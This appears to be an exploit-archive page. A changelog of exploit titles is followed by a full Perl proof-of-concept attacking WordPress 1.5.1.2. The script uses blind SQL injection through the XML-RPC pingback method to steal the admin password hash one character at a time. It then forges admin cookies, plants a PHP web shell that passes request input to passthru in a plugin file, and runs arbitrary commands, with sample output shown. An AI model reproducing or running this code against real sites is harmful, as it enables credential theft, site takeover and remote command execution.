
23 changes to exploits/shellcodes Emulive Server4 7560 - Remote Denial of Service Emulive Server4 Build 7560 - Remote Denial of Service ShareCenter D-Link DNS-320 - Remote reboot/shutdown/reset (Denial of Service) D-Link DNS-320 ShareCenter - Remote Reboot/Shutdown/Reset (Denial of Service) DNS4Me 3.0 - Denial of Service / Cross-Site Scripting EmuLive Server4 - Authentication Bypass / Denial of Service GetGo Download Manager 5.3.0.2712 - 'Proxy' Buffer Overflow Microsoft Windows win32k - Using SetClassLong to Switch Between CS_CLASSDC and CS_OWNDC Corrupts DC Cache VMware Workstation - ALSA Config File Local Privilege Escalation (Metasploit) keene digital media server 1.0.2 - Directory Traversal variant Xedus Web Server 1.0 - test.x 'Username' Cross-Site Scripting Xedus Web Server 1.0 - testgetrequest.x 'Username' Cross-Site Scripting Xedus Web Server 1.0 - Traversal Arbitrary File Access Keene Digital Media Server 1.0.2 - Directory Traversal Xedus Web Server 1.0 - test.x 'Username' Cross-Site Scripting Xedus Web Server 1.0 - testgetrequest.x 'Username' Cross-Site Scripting Xedus Web Server 1.0 - Traversal Arbitrary File Access D-Link DNS-320 ShareCenter < 1.06 - Backdoor Access WDMyCloud < 2.30.165 - Multiple Vulnerabilities Ayukov NFTP FTP Client 2.0 - Buffer Overflow (Metasploit) Cisco IOS - Remote Code Execution Simple Machines Forum (SMF) 1.0.4 - 'modify' SQL Injection WordPress 1.5.1.2 - xmlrpc Interface SQL Injection WordPress 1.5.1.2 - 'xmlrpc' Interface SQL Injection MySQL Eventum 1.5.5 - 'login.php' SQL Injection PHP live helper 2.0.1 - Multiple Vulnerabilities PHP Live Helper 2.0.1 - Multiple Vulnerabilities Zen Cart 1.3.9f (typefilter) - Local File Inclusion Zen Cart 1.3.9f - 'typefilter' Local File Inclusion phpWebSite 0.7.3/0.8.x/0.9.x - Comment Module CM_pid Cross-Site Scripting phpWebSite 0.7.3/0.8.x/0.9.x Comment Module - 'CM_pid' Cross-Site Scripting YaBB 1.x/9.1.2000 - YaBB.pl IMSend Cross-Site Scripting YaBB 1.x/9.1.2000 - 'YaBB.pl IMSend' Cross-Site Scripting SugarCRM 1.x/2.0 Module - 'record' SQL Injection SugarCRM 1.x/2.0 Module - Traversal Arbitrary File Access SugarCRM 1.x/2.0 Module - 'record' SQL Injection SugarCRM 1.x/2.0 Module - Traversal Arbitrary File Access phpGroupWare 0.9.x - 'index.php' Multiple Cross-Site Scripting Vulnerabilities phpGroupWare 0.9.x - 'viewticket_details.php?ticket_id' Cross-Site Scripting phpGroupWare 0.9.x - 'viewticket_details.php?ticket_id' SQL Injection phpGroupWare 0.9.x - 'index.php' Multiple SQL Injections phpGroupWare 0.9.x - 'index.php' Multiple Cross-Site Scripting Vulnerabilities phpGroupWare 0.9.x - 'viewticket_details.php?ticket_id' Cross-Site Scripting phpGroupWare 0.9.x - 'viewticket_details.php?ticket_id' SQL Injection phpGroupWare 0.9.x - 'index.php' Multiple SQL Injections Kayako eSupport 2.x - 'index.php' Knowledgebase Cross-Site Scripting Kayako eSupport 2.x - Ticket System Multiple SQL Injections Kayako eSupport 2.x - 'index.php' Knowledgebase Cross-Site Scripting Kayako eSupport 2.x - Ticket System Multiple SQL Injections Kayako ESupport 2.3 - 'index.php' Multiple Cross-Site Scripting Vulnerabilities Double Choco Latte 0.9.3/0.9.4 - 'main.php' Arbitrary PHP Code Execution PHPCOIN 1.2 - 'auxpage.php?page' Traversal Arbitrary File Access phpCoin 1.2 - 'auxpage.php?page' Traversal Arbitrary File Access ModernGigabyte ModernBill 4.3 - 'news.php' File Inclusion ModernGigabyte ModernBill 4.3 - 'C_CODE' Cross-Site Scripting ModernGigabyte ModernBill 4.3 - 'Aid' Cross-Site Scripting ModernGigabyte ModernBill 4.3 - 'news.php' File Inclusion ModernGigabyte ModernBill 4.3 - 'C_CODE' Cross-Site Scripting ModernGigabyte ModernBill 4.3 - 'Aid' Cross-Site Scripting Yappa-ng 1.x/2.x - Remote File Inclusion Yappa-ng 1.x/2.x - Cross-Site Scripting Yappa-ng 1.x/2.x - Remote File Inclusion Yappa-ng 1.x/2.x - Cross-Site Scripting Notes Module for phpBB - SQL Injection phpBB Notes Module - SQL Injection osTicket 1.2/1.3 - Multiple Input Validation / Remote Code Injection Vulnerabilities SitePanel2 2.6.1 - Multiple Input Validation Vulnerabilities osTicket 1.2/1.3 - Multiple Input Validation / Remote Code Injection Vulnerabilities SitePanel2 2.6.1 - Multiple Input Validation Vulnerabilities Help Center Live 1.0/1.2.x - Multiple Input Validation Vulnerabilities HelpCenter Live! 1.0/1.2.x - Multiple Input Validation Vulnerabilities FusionBB 0.x - Multiple Input Validation Vulnerabilities Invision Power Services Invision Gallery 1.0.1/1.3 - SQL Injection Invision Community Blog 1.0/1.1 - Multiple Input Validation Vulnerabilities Invision Power Services Invision Gallery 1.0.1/1.3 - SQL Injection Invision Community Blog 1.0/1.1 - Multiple Input Validation Vulnerabilities osCommerce 2.1/2.2 - Multiple HTTP Response Splitting Vulnerabilities PAFaq - Question Cross-Site Scripting PAFaq - Administrator 'Username' SQL Injection UBBCentral UBB.Threads 5.5.1/6.x - 'download.php?Number' SQL Injection UBBCentral UBB.Threads 5.5.1/6.x - 'calendar.php' Multiple SQL Injections UBBCentral UBB.Threads 5.5.1/6.x - 'modifypost.php?Number' SQL Injection UBBCentral UBB.Threads 5.5.1/6.x - 'viewmessage.php?message' SQL Injection UBBCentral UBB.Threads 5.5.1/6.x - 'addfav.php?main' SQL Injection UBBCentral UBB.Threads 5.5.1/6.x - 'notifymod.php?Number' SQL Injection UBBCentral UBB.Threads 5.5.1/6.x - 'grabnext.php?posted' SQL Injection UBBCentral UBB.Threads 5.5.1/6.x - 'download.php?Number' SQL Injection UBBCentral UBB.Threads 5.5.1/6.x - 'calendar.php' Multiple SQL Injections UBBCentral UBB.Threads 5.5.1/6.x - 'modifypost.php?Number' SQL Injection UBBCentral UBB.Threads 5.5.1/6.x - 'viewmessage.php?message' SQL Injection UBBCentral UBB.Threads 5.5.1/6.x - 'addfav.php?main' SQL Injection UBBCentral UBB.Threads 5.5.1/6.x - 'notifymod.php?Number' SQL Injection UBBCentral UBB.Threads 5.5.1/6.x - 'grabnext.php?posted' SQL Injection Kayako LiveResponse 2.0 - 'index.php?Username' Cross-Site Scripting Kayako LiveResponse 2.0 - 'index.php' Calendar Feature Multiple SQL Injections Kayako Live Response 2.0 - 'index.php?Username' Cross-Site Scripting Kayako Live Response 2.0 - 'index.php' Calendar Feature Multiple SQL Injections MySQL AB Eventum 1.x - 'view.php?id' Cross-Site Scripting MySQL AB Eventum 1.x - 'list.php?release' Cross-Site Scripting MySQL AB Eventum 1.x - 'get_jsrs_data.php?F' Cross-Site Scripting MySQL AB Eventum 1.x - 'view.php?id' Cross-Site Scripting MySQL AB Eventum 1.x - 'list.php?release' Cross-Site Scripting MySQL AB Eventum 1.x - 'get_jsrs_data.php?F' Cross-Site Scripting RunCMS 1.1/1.2 Module Newbb_plus/Messages - SQL Injection EyeOS 0.8.x - Session Remote Command Execution eyeOS 0.8.x - Session Remote Command Execution CPAINT 1.3/2.0 - 'TYPE.php' Cross-Site Scripting CPAINT 1.3/2.0.2 - 'TYPE.php' Cross-Site Scripting XMB Forum 1.8/1.9 - 'u2u.php?Username' Cross-Site Scripting Zen Cart Web Shopping Cart 1.x - 'autoload_func.php?autoLoadConfig[999][0][loadFile]' Remote File Inclusion Zen Cart Web Shopping Cart 1.3.0.2 - 'autoload_func.php?autoLoadConfig[999][0][loadFile]' Remote File Inclusion osCommerce 2.1/2.2 - 'product_info.php' SQL Injection CakePHP 1.1.7.3363 - 'Vendors.php' Directory Traversal HAMweather 3.9.8 - 'template.php' Script Code Injection Kayako SupportSuite 3.0.32 - PHP_SELF Trigger_Error Function Cross-Site Scripting Kayako SupportSuite 3.0.32 - 'PHP_SELF Trigger_Error' Function Cross-Site Scripting Jamroom 3.3.8 - Cookie Authentication Bypass Kayako SupportSuite 3.x - '/visitor/index.php?sessionid' Cross-Site Scripting Kayako SupportSuite 3.x - 'index.php?filter' Cross-Site Scripting Kayako SupportSuite 3.x - '/staff/index.php?customfieldlinkid' SQL Injection Kayako SupportSuite 3.x - '/visitor/index.php?sessionid' Cross-Site Scripting Kayako SupportSuite 3.x - 'index.php?filter' Cross-Site Scripting Kayako SupportSuite 3.x - '/staff/index.php?customfieldlinkid' SQL Injection Vanilla 1.1.4 - HTML Injection / Cross-Site Scripting UBBCentral UBB.Threads 7.3.1 - 'Forum[]' Array SQL Injection gps-server.net GPS Tracking Software < 3.1 - Multiple Vulnerabilities Zen Cart < 1.3.8a - SQL Injection PHP Topsites < 2.2 - Multiple Vulnerabilities phpLinks < 2.1.2 - Multiple Vulnerabilities P-Synch < 6.2.5 - Multiple Vulnerabilities WinMX < 2.6 - Design Error FTP Service < 1.2 - Multiple Vulnerabilities MegaBrowser < 0.71b - Multiple Vulnerabilities Max Web Portal < 1.30 - Multiple Vulnerabilities Snitz Forums 2000 < 3.4.0.3 - Multiple Vulnerabilities Gespage 7.4.8 - SQL Injection Linux/x86 - Reverse TCP /bin/sh Shell (127.1.1.1:8888/TCP) Null-Free Shellcode (67/69 bytes)
283 lines
No EOL
12 KiB
Perl
Executable file
283 lines
No EOL
12 KiB
Perl
Executable file
#!/usr/bin/perl -w
|
|
|
|
# sorry for the late posting, had to test it. /str0ke
|
|
|
|
#################################################################
|
|
# Wordpress 1.5.1.2 Strayhorn // XMLRPC Interface SQL Injection #
|
|
#################################################################
|
|
# By James Bercegay // http://www.gulftech.org/ // June 21 2005 #
|
|
#################################################################
|
|
# Quick and dirty proof of concept that uses the XML RPC server #
|
|
# vulnerabilities I discovered to extract a password hash & use #
|
|
# that hash to execute shell commands on the server as httpd :) #
|
|
#################################################################
|
|
# Technical details of WordPress XMLRPC Interface SQL Injection #
|
|
#################################################################
|
|
# The vulnerability exist because all XMLRPC data is taken from #
|
|
# the HTTP_RAW_POST_DATA variable, and never sanatized properly #
|
|
# thus leaving the doors open for attack. Also, most if not all #
|
|
# the functions in xmlrpc.php are vulnerable to similar attacks #
|
|
#################################################################
|
|
#
|
|
# C:\Documents and Settings\James\Desktop>wp.pl http://pathto/wp admin 1 "id;uname -a;pwd;uptime"
|
|
# [*] Trying Host http://pathto/wp ...
|
|
# [+] The XMLRPC server seems to be working
|
|
# [+] Char 1 is 2
|
|
# [+] Char 2 is 1
|
|
# [+] Char 3 is 2
|
|
# [+] Char 4 is 3
|
|
# [+] Char 5 is 2
|
|
# [+] Char 6 is f
|
|
# [+] Char 7 is 2
|
|
# [+] Char 8 is 9
|
|
# [+] Char 9 is 7
|
|
# [+] Char 10 is a
|
|
# [+] Char 11 is 5
|
|
# [+] Char 12 is 7
|
|
# [+] Char 13 is a
|
|
# [+] Char 14 is 5
|
|
# [+] Char 15 is a
|
|
# [+] Char 16 is 7
|
|
# [+] Char 17 is 4
|
|
# [+] Char 18 is 3
|
|
# [+] Char 19 is 8
|
|
# [+] Char 20 is 9
|
|
# [+] Char 21 is 4
|
|
# [+] Char 22 is a
|
|
# [+] Char 23 is 0
|
|
# [+] Char 24 is e
|
|
# [+] Char 25 is 4
|
|
# [+] Char 26 is a
|
|
# [+] Char 27 is 8
|
|
# [+] Char 28 is 0
|
|
# [+] Char 29 is 1
|
|
# [+] Char 30 is f
|
|
# [+] Char 31 is c
|
|
# [+] Char 32 is 3
|
|
# [+] Host : http://pathto/wp
|
|
# [+] User : admin
|
|
# [+] Hash : 21232f297a57a5a743894a0e4a801fc3
|
|
# [*] Attempting to create shell ..
|
|
# [+] Trying filename hello.php ...
|
|
# [+] Trying to activate hello.php ...
|
|
# [+] Trying to execute id;uname -a;pwd;uptime ...
|
|
# [+] Successfully executed id;uname -a;pwd;uptime
|
|
#
|
|
# uid=1979(gulftech) gid=500(customer) groups=500(customer)
|
|
# FreeBSD example.com 4.10-RELEASE FreeBSD 4.10-RELEASE #0: Tue Jan 1
|
|
# 1 22:44:03 PST 2005 james@example.com:/usr/src/sys/compile/EXAMPLE i386
|
|
#
|
|
# /www/htdocs/wp/wp-admin
|
|
# 8:07AM up 35 days, 20:01, 1 user, load averages: 7.98, 8.24, 8.14
|
|
#
|
|
#################################################################
|
|
|
|
use LWP::UserAgent;
|
|
use Digest::MD5 qw(md5_hex);
|
|
|
|
my $ua = new LWP::UserAgent;
|
|
$ua->agent("Wordpress Hash Grabber v1.0" . $ua->agent);
|
|
|
|
my @char = ("0","1","2","3","4","5","6","7","8","9","a","b","c","d","e","f");
|
|
|
|
my $host = $ARGV[0]; # The path to xmlrpc.php
|
|
my $user = $ARGV[1]; # The target login, default wp user is admin
|
|
my $post = $ARGV[2]; # Must be a valid pingback or part
|
|
# of an entry title, very easy to
|
|
# obtain if you know how to read :)
|
|
my $exec = $ARGV[3]; # Command to execute
|
|
my $pref = 'wp_'; # database prefix!
|
|
my $hash = '';
|
|
|
|
if ( !$ARGV[2] )
|
|
{
|
|
die("Im Not Psychic ..\n");
|
|
}
|
|
|
|
print "[*] Trying Host $host ...\n";
|
|
|
|
my $res = $ua->get($host.'/xmlrpc.php');
|
|
|
|
if ( $res->content =~ /XML-RPC server accepts POST requests only/is )
|
|
{
|
|
print "[+] The XMLRPC server seems to be working \n";
|
|
}
|
|
else
|
|
{
|
|
print "[!] Something seems to be wrong with the XMLRPC server \n ";
|
|
# Sloppy way of debugging, remove if you want
|
|
open(LOG, ">wp_out.html"); print LOG $res->content;
|
|
exit;
|
|
}
|
|
|
|
for( $i=1; $i < 33; $i++ )
|
|
{
|
|
for( $j=0; $j < 16; $j++ )
|
|
{
|
|
# oh my! :)
|
|
my $sql = "<?xml version=\"1.0\"?><methodCall><methodName>pingback.ping</methodName><params><param><value><string>foobar' UNION SELECT 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 FROM " . $pref . "users WHERE (user_login='$user' AND MID(user_pass,$i,1)='$char[$j]')/*</string></value></param><param><value><string>$host/?p=$post#$post</string></value></param><param><value><string>admin</string></value></param></params></methodCall>";
|
|
|
|
# Remove the content type so $HTTP_RAW_POST_DATA is
|
|
# populated. php.net guys, pleeeeaaase fix this! :)
|
|
my $req = new HTTP::Request POST => $host . "/xmlrpc.php";
|
|
$req->content($sql);
|
|
$res = $ua->request($req);
|
|
$out = $res->content;
|
|
|
|
if ( $out =~ /The pingback has already been registered/)
|
|
{
|
|
$hash .= $char[$j];
|
|
print "[+] Char $i is $char[$j]\n";
|
|
last;
|
|
}
|
|
|
|
}
|
|
|
|
if ( length($hash) < 1 )
|
|
{
|
|
# Sloppy way of debugging, remove if you want
|
|
open(LOG, ">wp_out.html"); print LOG $out;
|
|
|
|
print "[!] $host not vulnerable? Better verify manually!\n";
|
|
exit;
|
|
}
|
|
if ( $out =~ /<value><int>0<\/int><\/value>/)
|
|
{
|
|
print "[!] Invalid post information specified! \n";
|
|
exit;
|
|
}
|
|
|
|
# Probably exploitable, but not by using default SQL query. The
|
|
# [0]{5} regex may be a bad idea bit ive never seen a md5 thats
|
|
# got 5 0's at the very beginning of it.
|
|
if ( $out =~ /different number of columns/is || $hash =~ /([0]{5})/ )
|
|
{
|
|
# Sloppy way of debugging, remove if you want
|
|
open(LOG, ">wp_out.html"); print LOG $out;
|
|
|
|
print "[!] The database structured has been altered, check manually \n";
|
|
exit;
|
|
}
|
|
|
|
}
|
|
|
|
# Verbose
|
|
print "[+] Host : $host\n";
|
|
print "[+] User : $user\n";
|
|
print "[+] Hash : $hash\n";
|
|
|
|
# We got the hash, so we are guaranteed admin
|
|
# even if we can not successfully execute! :)
|
|
print "[*] Attempting to create shell .. \n";
|
|
|
|
# Here we md5 the passhash, as well as the host
|
|
# in order to get the cookie hash, and the pass
|
|
# hash values respectively.
|
|
my $ckey = md5_hex($host);
|
|
$hash = md5_hex($hash);
|
|
|
|
# Create the cookie used to make all admin requests
|
|
my @cookie = ('Referer' => $host.'/wp-admin/plugins.php;','Cookie' => 'wordpressuser_'.$ckey.'='.$user.'; wordpresspass_'.$ckey.'='. $hash);
|
|
$res = $ua->get($host.'/wp-admin/plugin-editor.php', @cookie);
|
|
|
|
# Let's get the filename from the plugin editor
|
|
if ( $res->content =~ /<strong>(.*)\.php<\/strong>/i )
|
|
{
|
|
# Seems our request went okay, and we have the filename!
|
|
my @list = ($1.'.php', 'hello.php', 'markdown.php', 'textile1.php');
|
|
my $file;
|
|
|
|
# Make it work one way or another :)
|
|
foreach $file (@list)
|
|
{
|
|
|
|
print "[+] Trying filename $file ...\n";
|
|
$res = $ua->get($host.'/wp-admin/plugin-editor.php?file='.$file, @cookie);
|
|
|
|
if ( $res->content =~ /<textarea[^>]*>(.*)<\/textarea>/is )
|
|
{
|
|
# This is the file contents
|
|
my $data = $1;
|
|
|
|
# Quick and dirty way to fix the data recieved
|
|
# so that it executes and does not cause error
|
|
$data =~ s/>/>/ig;
|
|
$data =~ s/</</ig;
|
|
$data =~ s/"/"/ig;
|
|
$data =~ s/&/&/ig;
|
|
|
|
|
|
|
|
# We use the <cmdout> tag to make it easy to grab out command output
|
|
my $add = ( $data =~ /<cmdout>(.*)<\/cmdout>/is ) ? '': '<cmdout><?php if ( !empty($_REQUEST["cmd"]) ) passthru($_REQUEST["cmd"]); ?></cmdout>';
|
|
|
|
# Adding our php code to the selected plugin
|
|
$res = $ua->post($host . "/wp-admin/plugin-editor.php", ['newcontent' => $add.$data, 'action' => 'update', 'file' => $file, 'submit' => 'foobar'], @cookie);
|
|
|
|
# Trying to activate the plugin. If the requests doesn't succeed
|
|
# then the command execution will fail unless the plugin has had
|
|
print "[+] Trying to activate $file ... \n";
|
|
$res = $ua->get($host.'/wp-admin/plugins.php?action=activate&plugin='.$file , @cookie);
|
|
|
|
# Depending on the plugin this should execute
|
|
# our command, else we try the file directly!
|
|
# this works everytime on the default install
|
|
print "[+] Trying to execute $exec ... \n";
|
|
$res = $ua->get($host.'/wp-admin/plugins.php?cmd='.$exec, @cookie);
|
|
|
|
# It seems we have executed our command successfully
|
|
if ( $res->content =~ /<cmdout>(.*)<\/cmdout>/is )
|
|
{
|
|
# Send results to STDOUT
|
|
print "[+] Successfully executed $exec\n\n\n";
|
|
print $1;
|
|
exit;
|
|
}
|
|
else
|
|
{
|
|
# No luck with that particular method, so
|
|
# we will try to access the modified file
|
|
print "[!] Couldnt execute command $exec\n";
|
|
open(LOG, ">wp_out.html"); print LOG $res->content;
|
|
|
|
# Trying to access the file directly and execute
|
|
print "[!] Trying to access $file directly!\n";
|
|
$res = $ua->get($host.'/wp-content/plugins/'.$file.'?cmd='.$exec, @cookie);
|
|
|
|
# It seems we have executed our command successfully
|
|
if ( $res->content =~ /<cmdout>(.*)<\/cmdout>/is )
|
|
{
|
|
# Send results to STDOUT
|
|
print "[+] Successfully executed $exec\n\n\n";
|
|
print $1;
|
|
exit;
|
|
}
|
|
else
|
|
{
|
|
# No luck, better take a look at things manually
|
|
print "[!] Couldnt execute command $exec\n";
|
|
print "[*] Try $host/wp-content/plugins/$file manually\n";
|
|
}
|
|
}
|
|
}
|
|
else
|
|
{
|
|
# Unable to get the file contents
|
|
print "[!] Could not read file $file \n";
|
|
open(LOG, ">wp_out.html"); print LOG $res->content . $file;
|
|
}
|
|
|
|
}
|
|
|
|
}
|
|
else
|
|
{
|
|
# Unable to get the plugin information
|
|
print "[!] Could Not Get Plugin Information\n";
|
|
open(LOG, ">wp_out.html"); print LOG $res->content;
|
|
}
|
|
|
|
# fin
|
|
exit;
|
|
|
|
# milw0rm.com [2005-06-30] |